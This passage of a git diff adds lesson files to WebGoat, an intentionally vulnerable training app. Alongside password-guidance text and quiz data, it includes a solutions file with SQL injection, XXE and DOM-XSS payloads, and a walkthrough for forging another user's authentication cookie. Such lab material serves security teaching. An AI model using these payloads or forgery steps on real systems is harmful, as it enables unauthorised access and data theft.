b/src/main/resources/lessons/pathtraversal/images/cats/10.jpg differ diff --git a/src/main/resources/lessons/pathtraversal/images/cats/2.jpg b/src/main/resources/lessons/pathtraversal/images/cats/2.jpg new file mode 100644 index 000000000..d56605a90 Binary files /dev/null and b/src/main/resources/lessons/pathtraversal/images/cats/2.jpg differ diff --git a/src/main/resources/lessons/pathtraversal/images/cats/3.jpg b/src/main/resources/lessons/pathtraversal/images/cats/3.jpg new file mode 100644 index 000000000..7b20f44da Binary files /dev/null and b/src/main/resources/lessons/pathtraversal/images/cats/3.jpg differ diff --git a/src/main/resources/lessons/pathtraversal/images/cats/4.jpg b/src/main/resources/lessons/pathtraversal/images/cats/4.jpg new file mode 100644 index 000000000..b837da90d Binary files /dev/null and b/src/main/resources/lessons/pathtraversal/images/cats/4.jpg differ diff --git a/src/main/resources/lessons/pathtraversal/images/cats/5.jpg b/src/main/resources/lessons/pathtraversal/images/cats/5.jpg new file mode 100644 index 000000000..1960ee0f8 Binary files /dev/null and b/src/main/resources/lessons/pathtraversal/images/cats/5.jpg differ diff --git a/src/main/resources/lessons/pathtraversal/images/cats/6.jpg b/src/main/resources/lessons/pathtraversal/images/cats/6.jpg new file mode 100644 index 000000000..2db164c1d Binary files /dev/null and b/src/main/resources/lessons/pathtraversal/images/cats/6.jpg differ diff --git a/src/main/resources/lessons/pathtraversal/images/cats/7.jpg b/src/main/resources/lessons/pathtraversal/images/cats/7.jpg new file mode 100644 index 000000000..ae079d159 Binary files /dev/null and b/src/main/resources/lessons/pathtraversal/images/cats/7.jpg differ diff --git a/src/main/resources/lessons/pathtraversal/images/cats/8.jpg b/src/main/resources/lessons/pathtraversal/images/cats/8.jpg new file mode 100644 index 000000000..311e7d864 Binary files /dev/null and b/src/main/resources/lessons/pathtraversal/images/cats/8.jpg differ diff --git a/src/main/resources/lessons/pathtraversal/images/cats/9.jpg b/src/main/resources/lessons/pathtraversal/images/cats/9.jpg new file mode 100644 index 000000000..a8101fb6d Binary files /dev/null and b/src/main/resources/lessons/pathtraversal/images/cats/9.jpg differ diff --git a/src/main/resources/lessons/pathtraversal/js/path_traversal.js b/src/main/resources/lessons/pathtraversal/js/path_traversal.js new file mode 100644 index 000000000..955e7fe7b --- /dev/null +++ b/src/main/resources/lessons/pathtraversal/js/path_traversal.js @@ -0,0 +1,72 @@ +webgoat.customjs.profileUpload = function () { + + var picture = document.getElementById("uploadedFile").files[0]; + var formData = new FormData(); + formData.append("uploadedFile", picture); + formData.append("fullName", $("#fullName").val()); + formData.append("email", $("#email").val()); + formData.append("password", $("#password").val()); + return formData; +} + +webgoat.customjs.profileUploadCallback = function () { + $.get("PathTraversal/profile-picture", function (result, status) { + document.getElementById("preview").src = "data:image/png;base64," + result; + }); +} + +webgoat.customjs.profileUploadFix = function () { + var picture = document.getElementById("uploadedFileFix").files[0]; + var formData = new FormData(); + formData.append("uploadedFileFix", picture); + formData.append("fullNameFix", $("#fullNameFix").val()); + formData.append("emailFix", $("#emailFix").val()); + formData.append("passwordFix", $("#passwordFix").val()); + return formData; +} + +webgoat.customjs.profileUploadCallbackFix = function () { + $.get("PathTraversal/profile-picture", function (result, status) { + document.getElementById("previewFix").src = "data:image/png;base64," + result; + }); +} + + +webgoat.customjs.profileUploadRemoveUserInput = function () { + var picture = document.getElementById("uploadedFileRemoveUserInput").files[0]; + var formData = new FormData(); + formData.append("uploadedFileRemoveUserInput", picture); + formData.append("fullName", $("#fullNameRemoveUserInput").val()); + formData.append("email", $("#emailRemoveUserInput").val()); + formData.append("password", $("#passwordRemoveUserInput").val()); + return formData; +} + +webgoat.customjs.profileUploadCallbackRemoveUserInput = function () { + $.get("PathTraversal/profile-picture", function (result, status) { + document.getElementById("previewRemoveUserInput").src = "data:image/png;base64," + result; + }); +} + + +webgoat.customjs.profileUploadCallbackRetrieval = function () { + $.get("PathTraversal/profile-picture", function (result, status) { + document.getElementById("previewRetrieval").src = "data:image/png;base64," + result; + }); +} + +function newRandomPicture() { + $.get("PathTraversal/random-picture", function (result, status) { + document.getElementById("randomCatPicture").src = "data:image/png;base64," + result; + }); +} + +webgoat.customjs.profileZipSlip = function () { + var picture = document.getElementById("uploadedFileZipSlip").files[0]; + var formData = new FormData(); + formData.append("uploadedFileZipSlip", picture); + formData.append("fullName", $("#fullNameZipSlip").val()); + formData.append("email", $("#emailZipSlip").val()); + formData.append("password", $("#passwordZipSlip").val()); + return formData; +} diff --git a/src/main/resources/lessons/securepasswords/documentation/SecurePasswords_1.adoc b/src/main/resources/lessons/securepasswords/documentation/SecurePasswords_1.adoc new file mode 100644 index 000000000..fa8c7d095 --- /dev/null +++ b/src/main/resources/lessons/securepasswords/documentation/SecurePasswords_1.adoc @@ -0,0 +1,12 @@ +=== National Institute of Standards and Technology (NIST) + +The National Institute of Standards and Technology (NIST) is a non-regulatory federal agency within the U.S. Department of Commerce. + +Its mission is to promote U.S. innovation and industrial competitiveness by advancing measurement science, standards, and technology in ways that enhance economic security and improve our quality of life. + +NIST develops Federal Information Processing Standards (FIPS), which the Secretary of Commerce approves and federal agencies must comply with. + +NIST also provides guidance documents and recommendations through its Special Publications (SP) 800-series. +These guidelines often become the foundation for best practice recommendations across the security industry and are incorporated into other standards. + +(Description from https://www.enzoic.com/surprising-password-guidelines-nist/) diff --git a/src/main/resources/lessons/securepasswords/documentation/SecurePasswords_2.adoc b/src/main/resources/lessons/securepasswords/documentation/SecurePasswords_2.adoc new file mode 100644 index 000000000..695a4daea --- /dev/null +++ b/src/main/resources/lessons/securepasswords/documentation/SecurePasswords_2.adoc @@ -0,0 +1,40 @@ +=== NIST password standard + +The NIST password standard (also known as the https://pages.nist.gov/800-63-3/sp800-63b.html[Special Publications (SP) 800-series]) is a guideline that provides recommendations for implementing secure password systems. + +==== Password rules +Here are some of the most important recommendations made by the most recent NIST standard: + +- *no composition rules* + +Do not request the user to, e.g., use at least one upper case letter and a special character on their password. +Please give them the opportunity to, but do not force them! +- *no password hints* + +If you wanted people to have a better chance at guessing your password, write it on a note attached to your screen. +- *no security questions* + +Security questions, also known as knowledge-based authentication (KBA), are outdated. +Asking a user, "What's the name of your pet?" or something similar to check if it's him is pretty insecure. +- *no unnecessary changing of passwords* +If you want users to comply and choose long, hard-to-guess passwords, you should not make them change those passwords unnecessarily after a certain period. +- *minimum size of 8 characters* + +A secure password nowadays should be at LEAST 8 characters long (up to 64). +This is a minimum, not a maximum-minimum! +- *support all UNICODE characters* + +It would help if you allowed all kinds of UNICODE characters in a password. +This also includes emojis and whitespaces. +- *check the password against known bad choices* +* passwords obtained from previous breach corpuses +* dictionary words +* repetitive or sequential characters (e.g. 'aaaaaa', '1234abcd') +* context-specific words, such as the name of the service, the username, and derivatives thereof + +==== Usability + +Besides the recommendations above, the NIST standard also recommends increasing the usability of password forms to increase the likelihood of users choosing a strong and secure password. Some of those are: + +- *allow pasting into the password input* + +Users should be able to use the "paste" functionality when entering a password. +Since this facilitates the use of password managers, it also increases the likelihood that the user will choose a strong password. +- *allow displaying the password* + +Password inputs should have an option to display the entered password to assist the user in successfully entering a password. +- *offer a strength meter* + +Add a strength meter on the password creation page to help the user choose a strong and secure password. diff --git a/src/main/resources/lessons/securepasswords/documentation/SecurePasswords_3.adoc b/src/main/resources/lessons/securepasswords/documentation/SecurePasswords_3.adoc new file mode 100644 index 000000000..513cb7662 --- /dev/null +++ b/src/main/resources/lessons/securepasswords/documentation/SecurePasswords_3.adoc @@ -0,0 +1,19 @@ +=== Are your passwords secure? + +What about you? Are your passwords secure? + +There are dedicated websites that allow searching if one of your accounts got breached in a past data breach. + +Go to https://haveibeenpwned.com/Passwords[Have I Been Pwned] or https://www.dehashed.com/[DEHASHED] per example and test if your account got breached. +If so, better change your passwords *right now*! + +==== What can you do to improve the security of your account? +- *use different passwords for different accounts* + +It is a good thing NOT to use the same password for multiple accounts but rather to use different passwords. +* *use passphrases* + +Use passphrase generators like https://www.rempe.us/diceware/#eff[Diceware] to generate passphrases. +Passphrases are passwords made out of several words instead of randomly generated character sequences. +This makes them way easier to remember for us human beings. And by the way: The longer, the better! +* *use a password manager* + +If you can't remember your different passwords, use a password manager to create and securely store your passwords. +- *use two-factor authentication* + +If possible, use two-factor authentication methods to add an extra layer of security to your accounts. diff --git a/src/main/resources/lessons/securepasswords/documentation/SecurePasswords_4.adoc b/src/main/resources/lessons/securepasswords/documentation/SecurePasswords_4.adoc new file mode 100644 index 000000000..559198abc --- /dev/null +++ b/src/main/resources/lessons/securepasswords/documentation/SecurePasswords_4.adoc @@ -0,0 +1,32 @@ +=== Storing passwords + +After a strong and secure password was created, it also has to be stored securely. +The NIST gives recommendations on how applications should handle passwords and how to store them securely. + +==== How should a password be stored? + +- first of all: *use encryption and a protected channel for requesting passwords* + +The verifier shall use approved encryption and an authenticated protected channel to resist eavesdropping and MitM (Man-in-the-middle) attacks when requesting memorized secrets. +- *resistant to offline attacks* + +Passwords should be stored in a form that is resistant to offline attacks. +- *use salts* + +Passwords should be salted before storing them. +The salt shall have at least 32 bits in length and should be chosen arbitrarily to minimize salt value collisions among stored hashes. +- *use hashing* + +Before storing a password, it should be hashed with a one-way key derivation function. +The function inputs the password, salt, and cost factor and then generates a password hash. + +Examples of suitable key derivation functions: +* Password-based Key Derivation Function 2 (https://pages.nist.gov/800-63-3/sp800-63b.html#SP800-132[PBKDF2]) (as large as possible => at least 10.000 iterations) +* https://pages.nist.gov/800-63-3/sp800-63b.html#SP800-132[BALLOON] +* The key derivation function shall use an approved one-way function such as: +** Keyed Hash Message Authentication Code (https://pages.nist.gov/800-63-3/sp800-63b.html#FIPS198-1[HMAC]) +** any approved hash function in https://pages.nist.gov/800-63-3/sp800-63b.html#SP800-107[SP 800-107] +** Secure Hash Algorithm 3 (https://pages.nist.gov/800-63-3/sp800-63b.html#FIPS202[SHA-3]) +** https://pages.nist.gov/800-63-3/sp800-63b.html#SP800-38B[CMAC] +** Keccak Message Authentication Code (KMAC) +** Customizable SHAKE (cSHAKE) +** https://pages.nist.gov/800-63-3/sp800-63b.html#SP800-185[ParallelHash] +- *memory hard key derivation function* + +Use memory-hard key derivation functions to increase the needed cost further to perform attacks. +- *high cost factor* + +The key derivation function's cost factor (iteration count) should be as large as verification server performance will allow. (at least 10.000 iterations) diff --git a/src/main/resources/lessons/securepasswords/documentation/SecurePasswords_assignment_introduction.adoc b/src/main/resources/lessons/securepasswords/documentation/SecurePasswords_assignment_introduction.adoc new file mode 100644 index 000000000..346459a95 --- /dev/null +++ b/src/main/resources/lessons/securepasswords/documentation/SecurePasswords_assignment_introduction.adoc @@ -0,0 +1,14 @@ +=== How long could it take to brute force your password? + +In this assignment, you have to type in a password that is strong enough (at least 4/4). + +After you finish this assignment we highly recommend you try some passwords below to see why they are not good choices: + +* password +* johnsmith +* 2018/10/4 +* 1992home +* abcabc +* fffget +* poiuz +* @dmin diff --git a/src/main/resources/lessons/securepasswords/documentation/SecurePasswords_intro.adoc b/src/main/resources/lessons/securepasswords/documentation/SecurePasswords_intro.adoc new file mode 100644 index 000000000..3b35c456f --- /dev/null +++ b/src/main/resources/lessons/securepasswords/documentation/SecurePasswords_intro.adoc @@ -0,0 +1,7 @@ +In this lesson, the user will learn how to create strong passwords and securely store them. +We will take a look at the most important recommendations made by the NIST password standard. + +Goals: + +- The user knows how a strong password should look like and what specifications it should fulfill +- The user has a basic overview of what to pay attention to when developing an application that stores passwords diff --git a/src/main/resources/lessons/securepasswords/html/SecurePasswords.html b/src/main/resources/lessons/securepasswords/html/SecurePasswords.html new file mode 100644 index 000000000..a57a21c95 --- /dev/null +++ b/src/main/resources/lessons/securepasswords/html/SecurePasswords.html @@ -0,0 +1,61 @@ + + + + +

    +
    +
    + +
    +
    +
    + +
    +
    +
    + +
    +
    +
    +
    +
    + +
    + + Show password +
    +
    + +
    +
    +
    +
    +
    +
    + +
    +
    +
    + +
    +
    +
    + + + + + diff --git a/src/main/resources/lessons/securepasswords/i18n/WebGoatLabels.properties b/src/main/resources/lessons/securepasswords/i18n/WebGoatLabels.properties new file mode 100644 index 000000000..c561bc467 --- /dev/null +++ b/src/main/resources/lessons/securepasswords/i18n/WebGoatLabels.properties @@ -0,0 +1,4 @@ +secure-passwords.title=Secure Passwords +securepassword-success=You have succeeded! The password is secure enough. +securepassword-failed=You have failed! Try to enter a secure password. +show-password=Show Password \ No newline at end of file diff --git a/src/main/resources/lessons/securepasswords/i18n/WebGoatLabels_nl.properties b/src/main/resources/lessons/securepasswords/i18n/WebGoatLabels_nl.properties new file mode 100644 index 000000000..5030c4c3b --- /dev/null +++ b/src/main/resources/lessons/securepasswords/i18n/WebGoatLabels_nl.properties @@ -0,0 +1,4 @@ +secure-passwords.title=Veilige wachtwoorden +securepassword-success=Het is gelukt. Het wachtwoord is sterk genoeg. +securepassword-failed=Helaas, probeer een sterker wachtwoord! +show-password=Toon wachtwoord \ No newline at end of file diff --git a/src/main/resources/lessons/securepasswords/js/questions_cia.json b/src/main/resources/lessons/securepasswords/js/questions_cia.json new file mode 100644 index 000000000..4c43fae60 --- /dev/null +++ b/src/main/resources/lessons/securepasswords/js/questions_cia.json @@ -0,0 +1,35 @@ +{ + "questions": [{ + "text": "How could an intruder harm the security goal of confidentiality?", + "solutions": { + "1": "By deleting all the databases.", + "2": "By stealing a database where general configuration information for the system is stored.", + "3": "By stealing a database where names and emails are stored and uploading it to a website.", + "4": "Confidentiality can't be harmed by an intruder." + } + }, { + "text": "How could an intruder harm the security goal of integrity?", + "solutions": { + "1": "By changing the names and emails of one or more users stored in a database.", + "2": "By listening to incoming and outgoing network traffic.", + "3": "By bypassing authentication mechanisms that are in place to manage database access.", + "4": "Integrity can only be harmed when the intruder has physical access to the database storage." + } + }, { + "text": "How could an intruder harm the security goal of availability?", + "solutions": { + "1": "By exploiting bugs in the systems software to bypass authentication mechanisms for databases.", + "2": "By redirecting emails with sensitive data to other individuals.", + "3": "Availability can only be harmed by unplugging the power supply of the storage devices.", + "4": "By launching a denial of service attack on the servers." + } + }, { + "text": "What happens if at least one of the CIA security goals is harmed?", + "solutions": { + "1": "A system can be considered safe until all the goals are harmed. Harming one goal has no effect on the systems security.", + "2": "The systems security is compromised even if only one goal is harmed.", + "3": "It's not that bad when an attacker reads or changes data, at least some data is still available, hence only when the goal of availability is harmed the security of the system is compromised.", + "4": "It shouldn't be a problem if an attacker changes data or makes it unavailable, but reading sensitive data is not tolerable. Theres only a problem when confidentiality is harmed." + } + }] +} \ No newline at end of file diff --git a/src/main/resources/lessons/sol.MD b/src/main/resources/lessons/sol.MD new file mode 100644 index 000000000..042f488e6 --- /dev/null +++ b/src/main/resources/lessons/sol.MD @@ -0,0 +1,114 @@ +https://github.com/WebGoat/WebGoat/wiki/(Almost)-Fully-Documented-Solution-(en) + + +### SQLi ### + +Basic +Smith - to show it returns smith's records. +To show exploit; `1=1` can be any true clause: + +```sql +Smith' or '1'='1 +``` + +**Bender Login** +```sql +bender@juice-sh.op' -- +``` +```sql +[2:19 PM] +101 +101 or 1=1 +``` +```sql +Smith' union select userid,user_name, password,cookie,cookie, cookie,userid from user_system_data -- +``` + +## XXE ## + +Simple: +```xml + ]>&root; +``` + +Modern Rest Framework: +Change content type to: `Content-Type: application/xml` and +```xml + ]> &root;test +``` + +Blind SendFile +```xml + + Solution: + + Create DTD: + +
    +          
    +          
    +          ">
    +           %all;
    +      
    + + This will be reduced to: + +
    +          
    +      
    + + Wire it all up in the xml send to the server: + +
    +       
    +       
    +       %remote;
    +        ]>
    +       
    +         test&send;
    +       
    +     
    +      
    + + +``` + +### XSS ### +```javascript +4128 3214 0002 1999 +``` + +DOM-XSS: + + Something like + `http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere%3Cscript%3Ewebgoat.customjs.phoneHome();%3C%2Fscript%3E +//` +OR +`http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere4128 3214 0002 1999 + +DOM-XSS ... + +// something like ... http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere%3Cscript%3Ewebgoat.customjs.phoneHome();%3C%2Fscript%3E +// or http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere + + +
    +
    +
    + + +
    +
    +
    +
    + +
    + +
    +
    +
    + +
    +
    +
    +
    + + diff --git a/src/main/resources/lessons/spoofcookie/i18n/WebGoatLabels.properties b/src/main/resources/lessons/spoofcookie/i18n/WebGoatLabels.properties new file mode 100644 index 000000000..4f4aed4aa --- /dev/null +++ b/src/main/resources/lessons/spoofcookie/i18n/WebGoatLabels.properties @@ -0,0 +1,7 @@ +spoofcookie.title=Spoofing an Authentication Cookie + +spoofcookie.wrong-login=Login failed. +spoofcookie.login=Logged in using credentials. Cookie created, see below. +spoofcookie.cookie-login=Logged in using cookie. +spoofcookie.wrong-cookie=Wrong cookie sent. +spoofcookie.cheating=Don't cheat! diff --git a/src/main/resources/lessons/spoofcookie/js/handler.js b/src/main/resources/lessons/spoofcookie/js/handler.js new file mode 100644 index 000000000..1a1cddbb4 --- /dev/null +++ b/src/main/resources/lessons/spoofcookie/js/handler.js @@ -0,0 +1,31 @@ +function getCookieValue() { + var cookie = document.cookie.match(new RegExp('(^| )spoof_auth=([^;]+)')); + if (cookie != null) + return [2]; + return null; +} + +function cleanup() { + document.cookie = 'spoof_auth=;Max-Age=0;secure=true'; + $('#spoof_username').removeAttr('disabled'); + $('#spoof_password').removeAttr('disabled'); + $('#spoof_submit').removeAttr('disabled'); + $('#spoof_attack_feedback').html(''); + $('#spoof_attack_output').html(''); +} + +var target = document.getElementById('spoof_attack_feedback'); + +var obs = new MutationObserver(function(mutations) { + mutations.forEach(function() { + var cookie = getCookieValue(); + if (cookie) { + $('#spoof_username').prop('disabled', true); + $('#spoof_password').prop('disabled', true); + $('#spoof_submit').prop('disabled', true); + } + }); +}); + +obs.observe(target, { characterData: false, attributes: false, childList: true, subtree: false }); + diff --git a/src/main/resources/lessons/spoofcookie/lessonSolutions/en/SpoofCookie_solution.adoc b/src/main/resources/lessons/spoofcookie/lessonSolutions/en/SpoofCookie_solution.adoc new file mode 100644 index 000000000..6d867e3a3 --- /dev/null +++ b/src/main/resources/lessons/spoofcookie/lessonSolutions/en/SpoofCookie_solution.adoc @@ -0,0 +1,88 @@ += Spoofing an Authentication Cookie + +== Solution + +Some standard Linux tools have been used on this solution; other kind of tools -like online tools- can be used and the same results should be obtained. + +=== Analysis and reversing + +Inspect the webgoat user spoof_auth cookie value: + +[source, text] +---- +NjM3OTRhNGY0ODRiNTQ0OTU3NDU3NDYxNmY2NzYyNjU3Nw== +---- + +It look like a base64 encoded text. + +Decoding the base64 text: + +[source, sh] +---- +echo NjM3OTRhNGY0ODRiNTQ0OTU3NDU3NDYxNmY2NzYyNjU3Nw== | base64 -d +63794a4f484b5449574574616f67626577 +---- + +Now, it look like a hexadecimal encoded text. + +Hexadecimal text decoding: + +[source, sh] +---- +echo 63794a4f484b5449574574616f67626577 | xxd -p -r +cyJOHKTIWEtaogbew +---- + +Now, reverse the text: + +[source, text] +---- +webgoatEWITKHOJyc +---- + +We can see the user name with some random text appended. If we request some more different cookies for the same user, we will observe that the cookie generation appends random text of ten characters together with the user name, after it reverses the whole string and encodes it as hexadecimal and base64 respectively. + +=== Attacking the system + +Let's see how to forge our authentication cookie for tom. + +Our initial string will be the user name and a random text of ten characters. + +[source,text] +---- +tomAAAAAAAAAA +---- + +Reverse it: + +[source, text] +---- +AAAAAAAAAAmot +---- + +Now, encode the text to hexadecimal: + +[source,text] +---- +# warn: do not encode any whitespace or new line character +echo -n AAAAAAAAAAmot | xxd -ps +414141414141414141416d6f74 +---- + +Encode to base64: + +[source,text] +---- +# warn: do not encode any whitespace or new line character +echo -n 414141414141414141416d6f74 | base64 +NDE0MTQxNDE0MTQxNDE0MTQxNDE2ZDZmNzQ= +---- + +The spoof_auth cookie value is: + +[source,text] +---- +NDE0MTQxNDE0MTQxNDE0MTQxNDE2ZDZmNzQ= +---- + +Finally, send the cookie to the system using any method that you prefer; OWASP ZAP, curl, the browser developer tools, etc. diff --git a/src/main/resources/lessons/spoofcookie/lessonSolutions/html/SpoofCookie.html b/src/main/resources/lessons/spoofcookie/lessonSolutions/html/SpoofCookie.html new file mode 100644 index 000000000..c2dafc5aa --- /dev/null +++ b/src/main/resources/lessons/spoofcookie/lessonSolutions/html/SpoofCookie.html @@ -0,0 +1,14 @@ + + + + + + +
    + + +
    +
    + + + \ No newline at end of file diff --git a/src/main/resources/lessons/spoofcookie/templates/spoofcookieform.html b/src/main/resources/lessons/spoofcookie/templates/spoofcookieform.html new file mode 100644 index 000000000..dce39cd1a --- /dev/null +++ b/src/main/resources/lessons/spoofcookie/templates/spoofcookieform.html @@ -0,0 +1,30 @@ +
    +
    +
    +
    +

    Account Access

    +
    +
    + + +
    +
    + +
    + + +
    +
    +
    +
    +
    diff --git a/src/main/resources/lessons/sqlinjection/css/assignments.css b/src/main/resources/lessons/sqlinjection/css/assignments.css new file mode 100644 index 000000000..2c086e843 --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/css/assignments.css @@ -0,0 +1,7 @@ +.feedback-positive { + color: green; +} + +.feedback-negative { + color: red; +} \ No newline at end of file diff --git a/src/main/resources/lessons/sqlinjection/css/challenge.css b/src/main/resources/lessons/sqlinjection/css/challenge.css new file mode 100644 index 000000000..6a8635ae6 --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/css/challenge.css @@ -0,0 +1,96 @@ +.panel-login { + border-color: #ccc; + -webkit-box-shadow: 0px 2px 3px 0px rgba(0,0,0,0.2); + -moz-box-shadow: 0px 2px 3px 0px rgba(0,0,0,0.2); + box-shadow: 0px 2px 3px 0px rgba(0,0,0,0.2); +} +.panel-login>.panel-heading { + color: #00415d; + background-color: #fff; + border-color: #fff; + text-align:center; +} +.panel-login>.panel-heading a{ + text-decoration: none; + color: #666; + font-weight: bold; + font-size: 15px; + -webkit-transition: all 0.1s linear; + -moz-transition: all 0.1s linear; + transition: all 0.1s linear; +} +.panel-login>.panel-heading a.active{ + color: #029f5b; + font-size: 18px; +} +.panel-login>.panel-heading hr{ + margin-top: 10px; + margin-bottom: 0px; + clear: both; + border: 0; + height: 1px; + background-image: -webkit-linear-gradient(left,rgba(0, 0, 0, 0),rgba(0, 0, 0, 0.15),rgba(0, 0, 0, 0)); + background-image: -moz-linear-gradient(left,rgba(0,0,0,0),rgba(0,0,0,0.15),rgba(0,0,0,0)); + background-image: -ms-linear-gradient(left,rgba(0,0,0,0),rgba(0,0,0,0.15),rgba(0,0,0,0)); + background-image: -o-linear-gradient(left,rgba(0,0,0,0),rgba(0,0,0,0.15),rgba(0,0,0,0)); +} +.panel-login input[type="text"],.panel-login input[type="email"],.panel-login input[type="password"] { + height: 45px; + border: 1px solid #ddd; + font-size: 16px; + -webkit-transition: all 0.1s linear; + -moz-transition: all 0.1s linear; + transition: all 0.1s linear; +} +.panel-login input:hover, +.panel-login input:focus { + outline:none; + -webkit-box-shadow: none; + -moz-box-shadow: none; + box-shadow: none; + border-color: #ccc; +} +.btn-login { + background-color: #59B2E0; + outline: none; + color: #fff; + font-size: 14px; + height: auto; + font-weight: normal; + padding: 14px 0; + text-transform: uppercase; + border-color: #59B2E6; +} +.btn-login:hover, +.btn-login:focus { + color: #fff; + background-color: #53A3CD; + border-color: #53A3CD; +} +.forgot-password { + text-decoration: underline; + color: #888; +} +.forgot-password:hover, +.forgot-password:focus { + text-decoration: underline; + color: #666; +} + +.btn-register { + background-color: #1CB94E; + outline: none; + color: #fff; + font-size: 14px; + height: auto; + font-weight: normal; + padding: 14px 0; + text-transform: uppercase; + border-color: #1CB94A; +} +.btn-register:hover, +.btn-register:focus { + color: #fff; + background-color: #1CA347; + border-color: #1CA347; +} diff --git a/src/main/resources/lessons/sqlinjection/css/quiz.css b/src/main/resources/lessons/sqlinjection/css/quiz.css new file mode 100644 index 000000000..6f20d09ad --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/css/quiz.css @@ -0,0 +1,67 @@ +.attack-container.quiz { + background: none; + border: none; +} + +#q_container p { + font-weight: bold; +} + +#q_container .quiz_question { + border: solid 2px white; + padding: 4px; + margin: 5px 2px 20px 2px; + box-shadow: 0px 1px 3px 1px #e4e4e4; +} + +#q_container .quiz_question label { + font-weight: normal; + position: relative; + top: -2px; +} + +#q_container .quiz_question input { + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + border: 2px solid #dadada; + background: white; + width: 15px; + height: 15px; + margin-right: 6px; +} + +#q_container .quiz_question input:checked { + background: #51b7ff; +} + +#q_container .quiz_question input:hover, +#q_container .quiz_question label:hover { + cursor: pointer; +} + +#q_container .quiz_question.correct { + border: solid 2px #ddf7dd; + background: #ddf7dd; + transition: all 300ms ease-in-out; +} + +#q_container .quiz_question.incorrect { + border: solid 2px #f5d3d3; + background: #f5d3d3; + transition: all 300ms ease-in-out; +} + +input[name='Quiz_solutions'] { + background: white; + border: 1px solid gray; + padding: 7px 10px; + transition: 300ms all ease-in-out; +} + +input[name='Quiz_solutions']:hover { + background: #51b7ff; + color: white; + border-color: white; + transition: 300ms all ease-in-out; +} \ No newline at end of file diff --git a/src/main/resources/lessons/sqlinjection/db/migration/V2019_09_26_1__servers.sql b/src/main/resources/lessons/sqlinjection/db/migration/V2019_09_26_1__servers.sql new file mode 100644 index 000000000..b9f036dbd --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/db/migration/V2019_09_26_1__servers.sql @@ -0,0 +1,13 @@ +CREATE TABLE SERVERS( + id varchar(10), + hostname varchar(20), + ip varchar(20), + mac varchar(20), + status varchar(20), + description varchar(40) +); +INSERT INTO SERVERS VALUES ('1', 'webgoat-dev', '192.168.4.0', 'AA:BB:11:22:CC:DD', 'online', 'Development server'); +INSERT INTO SERVERS VALUES ('2', 'webgoat-tst', '192.168.2.1', 'EE:FF:33:44:AB:CD', 'online', 'Test server'); +INSERT INTO SERVERS VALUES ('3', 'webgoat-acc', '192.168.3.3', 'EF:12:FE:34:AA:CC', 'offline', 'Acceptance server'); +INSERT INTO SERVERS VALUES ('4', 'webgoat-pre-prod', '192.168.6.4', 'EF:12:FE:34:AA:CC', 'offline', 'Pre-production server'); +INSERT INTO SERVERS VALUES ('4', 'webgoat-prd', '104.130.219.202', 'FA:91:EB:82:DC:73', 'out of order', 'Production server'); diff --git a/src/main/resources/lessons/sqlinjection/db/migration/V2019_09_26_2__users.sql b/src/main/resources/lessons/sqlinjection/db/migration/V2019_09_26_2__users.sql new file mode 100644 index 000000000..355feaf55 --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/db/migration/V2019_09_26_2__users.sql @@ -0,0 +1,24 @@ +CREATE TABLE user_data( + userid int not null, + first_name varchar(20), + last_name varchar(20), + cc_number varchar(30), + cc_type varchar(10), + cookie varchar(20), + login_count int +); +INSERT INTO user_data VALUES (101,'Joe','Snow','987654321','VISA',' ',0); +INSERT INTO user_data VALUES (101,'Joe','Snow','2234200065411','MC',' ',0); +INSERT INTO user_data VALUES (102,'John','Smith','2435600002222','MC',' ',0); +INSERT INTO user_data VALUES (102,'John','Smith','4352209902222','AMEX',' ',0); +INSERT INTO user_data VALUES (103,'Jane','Plane','123456789','MC',' ',0); +INSERT INTO user_data VALUES (103,'Jane','Plane','333498703333','AMEX',' ',0); +INSERT INTO user_data VALUES (10312,'Jolly','Hershey','176896789','MC',' ',0); +INSERT INTO user_data VALUES (10312,'Jolly','Hershey','333300003333','AMEX',' ',0); +INSERT INTO user_data VALUES (10323,'Grumpy','youaretheweakestlink','673834489','MC',' ',0); +INSERT INTO user_data VALUES (10323,'Grumpy','youaretheweakestlink','33413003333','AMEX',' ',0); +INSERT INTO user_data VALUES (15603,'Peter','Sand','123609789','MC',' ',0); +INSERT INTO user_data VALUES (15603,'Peter','Sand','338893453333','AMEX',' ',0); +INSERT INTO user_data VALUES (15613,'Joesph','Something','33843453533','AMEX',' ',0); +INSERT INTO user_data VALUES (15837,'Chaos','Monkey','32849386533','CM',' ',0); +INSERT INTO user_data VALUES (19204,'Mr','Goat','33812953533','VISA',' ',0); diff --git a/src/main/resources/lessons/sqlinjection/db/migration/V2019_09_26_3__salaries.sql b/src/main/resources/lessons/sqlinjection/db/migration/V2019_09_26_3__salaries.sql new file mode 100644 index 000000000..12961e2f8 --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/db/migration/V2019_09_26_3__salaries.sql @@ -0,0 +1,10 @@ +CREATE TABLE salaries( + userid varchar(50), + salary int +); + +INSERT INTO salaries VALUES ('jsmith', 20000); +INSERT INTO salaries VALUES ('lsmith', 45000); +INSERT INTO salaries VALUES ('wgoat', 100000); +INSERT INTO salaries VALUES ('rjones', 777777); +INSERT INTO salaries VALUES ('manderson', 65000); diff --git a/src/main/resources/lessons/sqlinjection/db/migration/V2019_09_26_4__tan.sql b/src/main/resources/lessons/sqlinjection/db/migration/V2019_09_26_4__tan.sql new file mode 100644 index 000000000..5029282f0 --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/db/migration/V2019_09_26_4__tan.sql @@ -0,0 +1,14 @@ +CREATE TABLE user_data_tan ( + userid int not null, + first_name varchar(20), + last_name varchar(20), + cc_number varchar(30), + cc_type varchar(10), + cookie varchar(20), + login_count int, + password varchar(20) +); + +INSERT INTO user_data_tan VALUES (101,'Joe','Snow','987654321','VISA',' ',0, 'banana'); +INSERT INTO user_data_tan VALUES (102,'Jane','Plane','74589864','MC',' ',0, 'tarzan'); +INSERT INTO user_data_tan VALUES (103,'Jack','Sparrow','68659365','MC',' ',0, 'sniffy'); \ No 